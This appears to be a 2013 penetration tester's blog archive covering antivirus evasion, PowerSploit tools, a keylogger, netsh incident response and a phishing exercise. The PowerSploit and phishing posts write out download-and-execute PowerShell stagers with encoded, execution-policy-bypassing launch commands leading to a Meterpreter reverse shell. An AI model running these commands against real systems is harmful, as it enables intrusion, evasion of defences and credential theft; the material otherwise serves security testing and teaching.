Tuesday, September 17, 2013

Hammer Instead of a Scalpel: Brute-force AV Evasion

Several years ago, I was on an engagement with Skip where we were faced with the common problem of antivirus evasion for callback binaries. The environment was such that we feared that any custom backdoor or tool would be submitted to an AV vendor so we wanted to use Meterpreter. Obviously, this was before the golden age of PowerShell. Skip suggested that we generate hundreds of payloads and scan them locally to see which ones bypass the target product. We knew what the product was, but there are some awesome ways of figuring that out. I felt pretty educated on the topic and concluded that his idea wouldn't work since encoding didn't really matter for executables.

I was wrong.

He threw together a bash script to generate payloads overnight and we returned to find around 10 viable binaries that all had different hash signatures and worked:

I have used this method to general success ever since, but given what we know about how encoding shouldn't really matter, why does this work? I don't know. My best guess is bad signature writing for a known security tool.

We even took the concept even further when facing multiple products:

Testers tend to keep their AV-evasion methods to themselves for obvious reasons, but with the tools available now it's not a huge deal. I am really writing this post to get thoughts as to why this still works. So the script that Skip wrote works, but I really wanted to speed up the process and start up the handler for testing:

The python script is on github if you are interested in trying this out but your mileage will certainly vary based on the AV product. Over the years, it generally requires more payloads to be created to be successful. Sometimes its in the hundreds, but often its in the thousands. Be careful with disk space since the script doesn't account for that.


Friday, July 19, 2013

Guest Blog Posts and Cons

I had the pleasure of writing a few guest blogs in the last few weeks. If you haven't read them, please check them out:

"Using the Windows API and Copy-RawItem to Access Sensitive Password Files" on Microsoft's "Hey, Scripting Guy! Blog" The post covers how to use PowerShell and volume shadow copy to safely copy either the NTDS.dit or SAM files while running as admin. The accompanying script figures out if its running on a DC or not, finds the actual location of the NTDS.dit file from the registry (often installed on a different disk) and returns the VSS service to its original state. You can find the script here. Although useful in a pinch, there are niftier methods out there.

"PowerSploit: The Easiest Shell You’ll Ever Get" on Pentest Geek. The post is a tutorial on the easiest way I know to avoid AV and get a Meterpreter shell from GUI access. I also included a simple Python script (in a PowerShell post, really?) to configure the handler for you. You can check that out here, you may find it useful. The Pentest Geek blog is already full of great posts, you should definitely check it out and contribute!

"WMIS: The Missing Piece of the Ownage Puzzle" on the Passing-the-Hash blog. The post builds on the concepts introduced in the PowerSploit post on Pentest Geek. I wrote about how to use WMIS to get a Meterpreter shell with one command using PowerShell. It is extremely effective, and we will be releasing a tool to automate the entire process very soon.

Also, I look forward to seeing you again at both Blackhat and Derbycon. Skip and I will be discussing ways to mitigate the threat of the Pass-the-Hash attack at both conferences. Matt and I will be presenting "A Minimalist's Guide to Windows Post-Exploitation" at both BsidesAugusta and Derbycon. Thanks for reading and thanks for contributing to this great community.


Wednesday, July 3, 2013

Get-GPPPassword Redux

Its been over a year since I threw together the original Get-GPPPassword on a short flight and I was really having a hard time even looking at the code. In addition to a nagging bug, it needed to be rewritten and updated to include all the great recommendations from you guys. Its amazing how often I still see local passwords being enforced with Group Policy preferences. For some reason it actually feels like the problem is getting worse even with Microsoft's blatant warnings in Server 2012. The other issue that I have seen is that when administrators stop using preferences, the old XML file is not deleted. On more than one engagement I have found an old password which helped me guess the current one. We need to keep hammering at this poor practice.

Additionally, one of the things that jumped out at me while reworking this script is the simplicity of this task in PowerShell. Compared to accomplishing the same task in Ruby, PowerShell's XML parsing really gives it an edge. A lot of security professionals could benefit by spending a few days to learn it and Carlos Perez is teaching an awesome class at Derbycon!


General flow, performance and bug fixes including better error handling and a fix for the problem with how the base64-encoded string was being padded.

Support for parsing not only groups.xml,  but also scheduledtasks.xml, services.xml and datasources.xml. The original post that inspired me to write the function appears to be down, but there have been other posts that point out that passwords can be stored in other Group Policy preference files as well. I attempted to create each one of those XML files and created logic for the 4 that seem used.

Ryan Ries pointed out that the script could easily be pointed at the domain controller which removes the need for any parameters and makes the script easier to run:

I broke out the decryption function (Get-DecryptedCPassword) If you want to decrypt a password offline, you can use that.

As always, the most current version of the Get-GPPPassword is available from the PowerSploit Github page. Thanks for reading, keep the comments and recommendations coming and join Skip Duckwall and I at BlackHat where we will briefly discuss Group Policy preferences in relation to the Pass-the-Hash attack with practical mitigation techniques.


Sunday, June 30, 2013

Logging Keys with PowerShell: Get-Keystroke

I was recently inspired by Matt Graeber's series of posts on Microsoft's "Hey, Scripting Guy! Blog" to go back and look at old scripts and implement reflection. One of the scripts that I use regularly and mentioned in a previous post is a keylogger. Generally, I use keyloggers in one of two ways. The first way is to keep a record of every key I press with a timestamp for logging purposes during pentests or incident response activities. The other is to collect password credentials in a post-exploitation scenario. Both of these scenarios require a script that has a minimal forensic footprint.

There are a lot of keyloggers out there that make use of GetAsyncKeyState, GetKeyboardState and VirtualKeyCode and if you have ever written or used one, you know it isn't an exact science. There are even examples of other PowerShell keyloggers. A preferred method would be to hook each window with SetWindowsHookEx but there are several security products that flag on that behavior, so I avoided it.

In the script that originally wrote early last year, I made use of Add-Type to interact with user32.dll (it was included in the Invoke-TwitterBot presentation ). If you have read Matt's posts, then you understand why that is not ideal. A few requirements that I had were tracking of special characters such as [Shift] and [Caps Lock] which are really important. VirtualKeyCode doesn't track all common characters so I had to map the other ones:

I also needed to capture the window title and a date time group which is really simple once you load GetForegroundWindow:

Ultimately, the exercise of properly using reflection proved too much of a challenge for me and I reached out to the professional. Matt made short work of it and together we have a script that meets the standards for inclusion in the PowerSploit project:

The full script is available on the PowerSploit Github page. We hope you find the script useful.


Tuesday, April 30, 2013

BSides Puerto Rico

Its been a few weeks and my tan (burn) is gone, but I wanted to write a quick post about my time at BSides Puerto Rico. It was an awesome conference and a great venue. Although it was Puerto Rico's first security conference, it certainly didn't feel that way. The people that put the conference together were professional and obviously worked their butts off to make it happen. For a small con, it had some nice amenities such as an upscale venue and lunch.

There were some great talks as well. If you get a chance, check out Royce Davis' talk "Owning Computers without Shell Access" It was my favorite talk, but there were plenty of other great talks. I am sure the other talks will find their way online shortly.

I imagine BSidesPR will be much bigger next year and I think its well worth the cost. The actual conference was under $100 and a flight to Puerto Rico was much more affordable than I thought it would be. The weather was perfect, the talks were good and I made some new friends! Sign me up for next year and they even made this cool con wrap-up video.


Thursday, March 28, 2013

PowerSploit + Metasploit = Shells

Metasploit has supported psexec-like functionality with pass-the-hash for several years. Unfortunately, its mostly useless when an AV product is there to delete the uploaded service binary. Recently, a module (/auxiliary/admin/smb/psexec_command) was created that allows you to run a single Windows command with discovered hashes or credentials. This doesn't flag AV, but isn't the full meterpreter shell that we're use to. How can we turn one command into a meterpreter shell?  With PowerSploit and Matt Graeber's Invoke-Shellcode!

The basic steps:

Kali Linux is awesome, but the version of PowerSploit is currently outdated, so lets pull down the script we will eventually run:

wget -O /var/www/payload https://raw.github.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1

Next we need to append the appropriate function call with LHOST and LPORT parameters and ensure that Apache is running.

echo "Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $lhost -Lport $lport -Force" >> /var/www/payload

strings -es /var/www/payload

Call to Function Added
Now that we have the script hosted, we need to build the command we want to execute. Although we could encode the entire command, I have found that building a small staging script is far more reliable. We can use the same method as described in a previous post.

Basically, we are going to Base64 encode our short script block which will pull down the rest of our script: 

scriptblock="iex (New-Object Net.WebClient).DownloadString("http://$lhost/payload")"
encode="`echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0`"
command="cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc $encode"
echo $command

Now we fill in the rest of the settings of the module (either a password or hash) and use the COMMAND parameter to the encoded command:

Add Command to psexec_command
Next, we start the multi/handler with reverse_https:

Set Up Handler
Finally, we run the module. This uploads a service binary to run our single command. The single command is an encoded PowerShell script which is pulling down the larger Invoke-Shellcode script. Invoke-Shellcode is determining whether the system is x86 or x64, and injecting meterpreter shellcode into an appropriate process:

Get Your Shell
The end result is a meterpreter shell without writing anything more to disk than the psexec_command module does (notice the less than ideal bat files in the above screenshot). This method has proven to be reliable for me over the last few months with lots of other tools as well. I hope you find it useful and maybe someone will be inspired to automate this all into a single module.

As soon as the PTH-Suite is ported to Kali, I hope to show you how to accomplish all of this without writing anything to disk!

***Updated 8/8/2013
So after a few comments and working through encoding issues with several people I finally realized that the actual posted code was incomplete. Instead of working from the post, I continued to work from my own script which was just simply not smart. So I added a screenshot for extra clarity and I apologize to anyone that this frustrated. On the positive side, now there are loads of other ways to pull this off which I wrote about here and you can read more about here and here.


Tuesday, March 26, 2013

Capturing Bad Packets with Netsh

I don't write defensive or incident response posts very often, but here goes:

A few weeks ago, a friend shared a problem. For the past 3 days, between 8:30 and 9:00 AM, one of his company's remote servers would initiate an outbound connection to one of 3 different external IP addresses. He noticed the anomaly while reviewing network flow data. The reason he found it alarming was that it was using port 8443 which was allowed outbound by the firewall and was not being proxied.

His first step was to look to see if anything was out of place on the box. He reviewed the event logs and saw nothing out of the ordinary. He also maintains a directory listing of every server's system folder to compare against (awesome idea). He was stumped and wanted to avoid playing his hand or having to travel so he reached out for help. He also shared that his boss was acting strange which led him to believe that they were being red-teamed (which should not happen!).

My suggestion was to use something I learned about while writing Invoke-Twitterbot, a cool feature of Windows 7 and newer systems called Netsh trace. This allows you to do full system event tracing as well as packet captures without installing any additional software on the target system. The command looks something like this:

netsh trace start capture=yes maxSize=10MB tracefile=c:\capture.etl
For obvious reasons, he didn't want to interactively logon or use psexec to administer the potentially compromised machine. After some discussion, he opted to use the Invoke-WmiMethod in PowerShell to start the netsh capture remotely at 8:30 the next morning.

After pulling the etl and cab files down, he let me have a look at them. In order to view the output, you need to install Microsoft's Netmon. Using the "Windows Parser" you can clearly see the strange traffic:

The traffic was easy to correlate to successful login events, but there were 2 processes that seemed to tell a lot of the story. One process was for BGinfo which I confirmed was an allowed application that was left in the startup folder (not a good practice).

The other process that is created around the same time was for a bginf.exe. After looking at the behavior of the actual BGinfo, we determined that it doesn't leave a process running and it most definitely isn't started like this:

We had discovered a pentester's clever persistence mechanism. He or she had used the built-in Microsoft utility iexpress to hide their backdoor in a file that already existed in the startup directory. After pulling down the binary and extracting the bginf.exe, it was pretty obvious:

Results from http://vscan.novirusthanks.org/ 

A quick note, be careful submitting samples to VirusTotal or any online scanner. It could definitely tip your hand.

So now we know there is something bad persisting on the server. How did it get there? What credentials did they steal? How far are they in the network? What do I do next? All valid questions that we all have to figure out each time a compromise is discovered whether its a red team or not.

Thanks for reading and maybe someone else will find this netsh trick useful in an IR situation.


Wednesday, February 27, 2013

DIY Phishing Exercises with PowerShell

One task that I have grown to hate is sending phishing emails. As a Red-teamer, I realize they almost always work and in most cases its the most likely (but not only) attack vector.  If the attempt is caught, you could face much tougher scrutiny attempting future attacks. As such, its something that I normally do after exhausting other methods or by prepping with extensive recon and social-engineering (physical and telephonic). However, I feel like organizations should be regularly testing themselves or using a service and not waiting for a pentester to tell them that their user's will click on almost anything.

Not long after releasing the PowerShell bot script, a friend asked how he could use the Send-Phishing script to test his organization. His company has a limited budget but they have a motivated and security-conscience IT staff. During the conversation, we came up with a few ideas on how to script out a phishing exercise complete with consequences. The goal is not to test whether malicious payloads can get in (they can), but the user's, admin's and security guy's reaction times. He wanted the test to be repeatable, low-cost and focus on learning at the expense of realism.
Send-Phishing PowerShell Script

The responsibility for running the tests will rotate between two people who will be responsible for developing the ruse (sometimes the hardest part). The first exercise used the example that I provided during my recent talks and it is a good start. The payload is an easy VBA macro embedded in an Excel spreadsheet. The macro hides the desired content behind a fake warning which instructs the user to enable macros if the macros aren't already enabled. This method has been around for a very long time, but the first time I saw it was in a phishing email to me from a pentester five or so years ago.

This "attack" could easily be prevented if users aren't allowed to enable macros but I find it rare that accounting/HR aren't allowed to. If only signed macros are allowed, then sign yours. A code-signing certificate is not expensive for an attacker. Since this is only an exercise, you can self-sign it. Make your payload work for the sake of the exercise.

Macro that Hides Content and Executes Remote PowerShell Script
The Content the User is Expecting
Fake Message User Receives if Macros Aren't Enabled

Next, we borrowed some of the features of the TwitterBot to create opportunities for each level to detect and respond to the phishing attempt. Each phase is implemented in a PowerShell script that is downloaded and executed by the macro:

  • Phase 0:  The user receives the email and attachment.
  • Phase 1:  User receives a popup message notifying them of the compromise.
  • Phase 2:  Antivirus is flagged which should notify the AV admin of suspicious activity.
  • Phase 3:  A known malicious C2 domain name is resolved by the "compromised" host.
  • Phases 4 - 9: Hacker activities are notionally conducted and story is written to the log.
Phase 1 Warning Message with Encoded Location of Log File
Phase 2 Antivirus Warning Message
I would like to stress that the overall story and activities are only generally realistic, there is no way to accurately predict how long each step would or could take. For a free exercise (there is opportunity cost, but no high-dollar consultant expenses), I think it works. Obviously, the story and timeline can be tailored to fit your organization's expected (or already discovered) threat actors. 

Careful consideration should be given to the fact that some learned concepts could have adverse affects on your organization's security. For example, the odds that a targeted attacker would pop a message to your user or flag AV are very slim. These steps should only be used to generate some initial awareness and should be removed from future tests. Furthermore, you analysts should learn to identify unknown C2 domains instead of relying solely on signatures. However, this is just a beginner exercise so treat it as such.

The function below was hosted on Github with a call to "Get-PhishingExercise" added to it:


The function has a few concepts that I now use regularly. I love to the Get-Random commandlet because it adds a bit of unpredictable behavior. For example, there are several options where the function can store the log and the name of the log file itself is random. [Note: The first time that this was actually used, one of the user's actually deleted the log after reading it (which itself is a problem) but I chose to encode it in the message to prevent that from easily happening again.]

Make sure you and your organization are comfortable with what the script is doing. If you don't have active rules to detect and prevent the resolution of known malicious hostnames, don't use the phase 3 portion. The use of those hostnames was prompted by the recently released Mandiant report which has resulted in many updates to network security products and their signatures. Those 5 domains should all flag your IDS. If you haven't read the report and its appendices in its entirety, you should!

Next, the URL to the hosted script was shortened with a shortener. Now we have the one-liner that will download and execute our script:

IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/e0Mw9w')
IEX is an alias for the Invoke-Expression cmdlet and will execute what the .Net WebClient downloads. Pretty simple isn't it? This example usage was borrowed from Lee Holmes.

Since this will only work in the PowerShell console, we need a way to call PowerShell.exe and pass it this script while bypassing the PowerShell ExecutionPolicy. Lee posted this easy shortcut to base64 a script block on twitter:
(cmd /c echo {ScriptBlock}).split(' ')[1]
Now we have our encoded script, lets build a command that can be run from cmd.exe:
PowerShell -Exec Bypass -NoL -Enc $EncodedScript
Drop that command in the macro and just update the script on Github to make any future changes! Now we can pick our targets and send the email with our attachment.

Once the attack is detected, the analyst or admin should be able to quarantine the box and retrieve the "marker" which is the script's output. The group as a whole would then be able to get together and discuss what went well and how to get better. Since users will eventually become wary of spreadsheets, you can embed this is other Office products like Word documents or PowerPoint presentations. Also, this same concept can be used to embed the payload into Java applets and PDFs with other tools like the awesome SET. Just utilize the same command that was added to the macro with the windows/exec or similar payload.

I hope other organizations see how easy it is to test their users and admins for awareness and responsiveness. If you have thoughts or questions, please let me know.


Friday, February 22, 2013

Shmoocon Firetalks and Epilogue

It was great seeing everyone at Shmoocon! I had the honor of presenting at Shmoocon Firetalks and at Shmoocon Epilogue. The slides are posted here and the PoC code is here. The Firetalks format only allows for 15 minutes, so I wasn't able to include a demo but I decided to post one online:

The actual talk:

Shmoocon Epilogue had some awesome talks! I gave the same talk but with an hour at (1:04:16), but you should check out the other talks as well. I will definitely see you at Epilogue next year!

Thanks for all the feedback and you guys are awesome!


Monday, January 14, 2013

Automating Screenshots with PowerShell

Penetration tests can become very hectic at a moment's notice. One second you are casually reviewing HTML source for a target website and the next dropping a webshell and hooking browsers before staying up all night trying to gain persistent domain-admin access to the enterprise. Keeping notes during hectic times can be difficult, tedious and potentially distracting. Sometimes, it pays to have something taking notes for you. I like to utilize both a key-logger that does time stamping and take frequent screenshots.

There are applications that can take screenshots for you at regular intervals and in the past I used an AutoIt macro to printscreen and save. That works well when I am on my own machine, but what if I was at a kiosk or doing an insider assessment from one of their workstations? I needed a PowerShell script that could take a screenshot at regular intervals, time stamp it, save it to a file and not tamper with the contents of the clipboard.

While looking for a good script to start from, I found this one that uses inline C# which seemed a little over-the-top. Another one seemed simple and straight-forward so I started working with it. After getting the function built, I was quickly annoyed with data from the clipboard disappearing. I knew I had to find another way. After digging through MSDN for an hour, I found the Bitmap Class and the System Info Class.

After loading the System.Windows.Forms assembly, I created a function that will be called to take the screenshot and save it to the disk:

Next we need a way to distinguish each file and a way to stamp them with the time it was taken:

Now we just need to settle on parameters, add this to a do-while loop and wrap the whole thing in a try-catch block. The result is Get-TimedScreenshot:


Instead of downloading or installing additional software, we now have a script that will take periodic screenshots.  The images can be large so I wouldn't recommend leaving it running overnight, but its great to help you fill in gaps in note-taking at the end of a long hacking session.

***Updated 8/6/2013: The maintained version of this script can by found within the PowerSploit framework here.

There is also a clear post-exploitation use for the function. You can schedule it to run and maybe add a check to see if the screensaver is running to make sure you aren't wasting space. I think the function is pretty flexible and with event triggering and an email function could potentially be used as a simple parental alert system. As is, it works for my purposes which is to remind me what I did today. I hope you find it useful and thanks for reading. In case you were wondering, it works well with multiple monitor setups:

Please let me know if you have any issues, bugs or questions. Hopefully, I will see you at Shmoocon and Firetalks. Also, if you are in town, check out Shmoocon Epilogue.  The other talks look really good, but I get the chance to present "No Tools? No Problem! Building a PowerShell Bot." It will cover chaining simple tasks like this one into a nefarious PowerShell script.


Thursday, January 10, 2013

Test Antivirus with EICAR and PowerShell

Typically, penetration testers are able to demonstrate a complete compromise of their customer's systems without flagging antivirus products. There are many methods of bypassing antivirus that can be used, but sometimes customers begin to wonder if their AV is working at all. The EICAR test file is an innocuous file that was created for that exact problem.

The EICAR test file can be download from here, but it is also trivial to generate yourself. New-Eicar is a PowerShell function that can be used to ensure that your antivirus is properly flagging new files. Originally, I wanted to create a script that would generate the eicar.com file and then wait for it to be deleted. Unfortunately, testing the script resulted in different results based on the different product responses and the product's settings. So I settled on just generating the file and letting the AV product alert (like this):

Here is the code, but the maintained version will be on github:

New-Eicar Function     

Running it on a machine with AV should result in this:

Let me know if you have any questions or improvement suggestions!


Monday, January 7, 2013

Resolve Shortened Links in Bulk with PowerShell

Recently, I was working on a task that required resolving hundreds of shortened URLs that were being parsed by another script. Shortened URLs are often used to obscure or hide the actual location from a casual user in the hopes that they will click on it.

I needed something that could take pipeline input (objects passed from another script) and handle a variety of shortening services and was unable to find anything that met those requirements. Get-ShortenedURL is a PowerShell function that uses .Net to parse out the redirect URL (or more precisely the URI) and return it. Errors aren't really handled in a useful way, so you may want to add a "Write-Verbose" statement if you are interested in error handling.

Get-ShortenedURL Function

There are serious OPSEC concerns with using this method when dealing with malware or targeted attacks. The script is going to leave a record that it resolved the URL.  There are services that can help with that and most shortening sites have an API which exposes the long URL. However, this can be used in a pinch to prevent being sent to a classic music video or to resolve bulk addresses.